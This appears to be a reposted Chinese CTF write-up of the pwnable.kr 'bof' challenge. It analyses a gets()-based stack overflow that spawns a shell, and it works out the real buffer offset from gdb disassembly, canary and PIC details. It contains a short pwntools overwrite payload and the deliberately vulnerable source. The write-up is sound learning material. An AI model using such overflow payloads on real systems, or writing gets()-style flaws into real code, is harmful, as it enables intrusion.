Pwnable.kr学习——bof

栏目: 编程语言 · 发布时间: 6年前

内容简介:虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。这道题一样提供了源代码很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。

虽然是一道比较简单的栈溢出题目,但是第一次实际接触栈溢出也花了不少力气,理清不少问题。

bof

这道题一样提供了源代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);// smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}

int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

很容易看出漏洞成因自傲与gets()函数没有对输入长度进行判断,导致溢出的存在从而可以覆盖key的值。

根据函数调用栈的结构如下:

Pwnable.kr学习——bof

可以直接算出间距length

length = len(overflowme) + len(previous_ebp) + len(return_address)=32 + 4 + 4 = 40

用pwntools发送

p.sendline("A"*40 + p32(0xcafebabe))

发现并不能成功,查看网上的wp发现这道题的间距其实有52,但是根据函数调用栈直接计算应该是40才对

为什么是52

用gdb调试bof程序,查看其汇编代码有

gdb-peda$ disassemble func
Dump of assembler code for function func:
       0x5655562c <+0>:    push   ebp
       0x5655562d <+1>:    mov    ebp,esp
       0x5655562f <+3>:    sub    esp,0x48
       0x56555632 <+6>:    mov    eax,gs:0x14
       0x56555638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
       0x5655563b <+15>:    xor    eax,eax
       0x5655563d <+17>:    mov    DWORD PTR [esp],0x5655578c
       0x56555644 <+24>:    call   0xf7e5a360 <puts>
       0x56555649 <+29>:    lea    eax,[ebp-0x2c]
       0x5655564c <+32>:    mov    DWORD PTR [esp],eax
       0x5655564f <+35>:    call   0xf7e59ae0 <gets>
       0x56555654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe     //if(key == 0xcafebabe)
       0x5655565b <+47>:    jne    0x5655566b <func+63>
       0x5655565d <+49>:    mov    DWORD PTR [esp],0x5655579b
       0x56555664 <+56>:    call   0xf7e2fd10 <system>
       0x56555669 <+61>:    jmp    0x56555677 <func+75>
       0x5655566b <+63>:    mov    DWORD PTR [esp],0x565557a3
       0x56555672 <+70>:    call   0xf7e5a360 <puts>
       0x56555677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
       0x5655567a <+78>:    xor    eax,DWORD PTR gs:0x14
       0x56555681 <+85>:    je     0x56555688 <func+92>
       0x56555683 <+87>:    call   0xf7efaee0 <__stack_chk_fail>
       0x56555688 <+92>:    leave  
       0x56555689 <+93>:    ret    
End of assembler dump.

从汇编代码中可以看到代码执行过程中对栈所执行的操作,在if函数执行前,一共对栈进行了如下操作

0x5655562c <+0>:    push   ebp
0x56555638 <+12>:   mov    DWORD PTR [ebp-0xc],eax
0x5655563d <+17>:   mov    DWORD PTR [esp],0x5655578c
0x5655564c <+32>:   mov    DWORD PTR [esp],eax

第一步操作,是将上个函数的栈顶压栈存为当前函数的栈底,第四个操作,是将栈顶指针指向ebp-0x2c以进行gets操作

其中第三个操作中esp的值为ebp-0x48,在overflowme所在栈空间以下不用考虑,但是第二个操作直接对ebp-0xc进行赋值就显得很奇怪,而且ebp-0x2c与ebp-0xc之间刚好隔了32个字节,说明多出的12字节就是来源于这里

网上搜索后发现这十二个字节来源于Canary防护机制,取了gs:0x14的值作为校验值,与汇编中的语句吻合

0x56555632 <+6>:    mov    eax,gs:0x14

用checksec语句查看防护机制,发现Canary确实存在

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

所以52字节中多出的12字节就是来源于Canary。

引申问题

换句话说,如果关闭Canary,那间隔应该刚好是40字节。重新编译bof,关闭栈保护

$ gcc -fno-stack-protector -m32 -g -o bof1 bof.c

对bof1进行溢出操作发现还是失败,说明间隔仍然不是40字节,这就与之前的猜测相违背了,查看汇编代码有

gdb-peda$ disassemble func
Dump of assembler code for function func:
       0x565555ad <+0>:    push   ebp
       0x565555ae <+1>:    mov    ebp,esp
       0x565555b0 <+3>:    push   ebx
       0x565555b1 <+4>:    sub    esp,0x24
       0x565555b4 <+7>:    call   0x565554b0 <__x86.get_pc_thunk.bx>
       0x565555b9 <+12>:    add    ebx,0x1a13
 => 0x565555bf <+18>:    sub    esp,0xc
       0x565555c2 <+21>:    lea    eax,[ebx-0x18ec]
       0x565555c8 <+27>:    push   eax
       0x565555c9 <+28>:    call   0x56555410 <printf@plt>
       0x565555ce <+33>:    add    esp,0x10
       0x565555d1 <+36>:    sub    esp,0xc
       0x565555d4 <+39>:    lea    eax,[ebp-0x28]
       0x565555d7 <+42>:    push   eax
       0x565555d8 <+43>:    call   0x56555420 <gets@plt>
       0x565555dd <+48>:    add    esp,0x10
       0x565555e0 <+51>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
       0x565555e7 <+58>:    jne    0x565555fd <func+80>
       0x565555e9 <+60>:    sub    esp,0xc
       0x565555ec <+63>:    lea    eax,[ebx-0x18dd]
       0x565555f2 <+69>:    push   eax
       0x565555f3 <+70>:    call   0x56555440 <system@plt>
       0x565555f8 <+75>:    add    esp,0x10
       0x565555fb <+78>:    jmp    0x5655560f <func+98>
       0x565555fd <+80>:    sub    esp,0xc
       0x56555600 <+83>:    lea    eax,[ebx-0x18d5]
       0x56555606 <+89>:    push   eax
       0x56555607 <+90>:    call   0x56555430 <puts@plt>
       0x5655560c <+95>:    add    esp,0x10
       0x5655560f <+98>:    nop
       0x56555610 <+99>:    mov    ebx,DWORD PTR [ebp-0x4]
       0x56555613 <+102>:    leave  
       0x56555614 <+103>:    ret    
End of assembler dump.

直接计算间隔为0x30,比预估距离多了8字节,在汇编代码可以发现,存入overflowme数组之前,栈空间内存入了ebx,并调用了__x86.get_pc_thunk.bx函数,这个函数的作用就是把esp的值保存在eax(PIC寄存器)中, 以便寻址,因为32位下不支持直接访问PC寄存器,所以需要这样间接调用.

=> 0x565554b0 <__x86.get_pc_thunk.bx>:      mov    ebx,DWORD PTR [esp]
      0x565554b3 <__x86.get_pc_thunk.bx+3>:  ret

所以在编译器的作用下,内存间距不一定可以按照理论情况直接进行推算,还是需要实际查看才行。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Geometric Folding Algorithms

Geometric Folding Algorithms

Erik D Demaine / Cambridge University Press / 2008-8-21 / GBP 35.99

Did you know that any straight-line drawing on paper can be folded so that the complete drawing can be cut out with one straight scissors cut? That there is a planar linkage that can trace out any alg......一起来看看 《Geometric Folding Algorithms》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具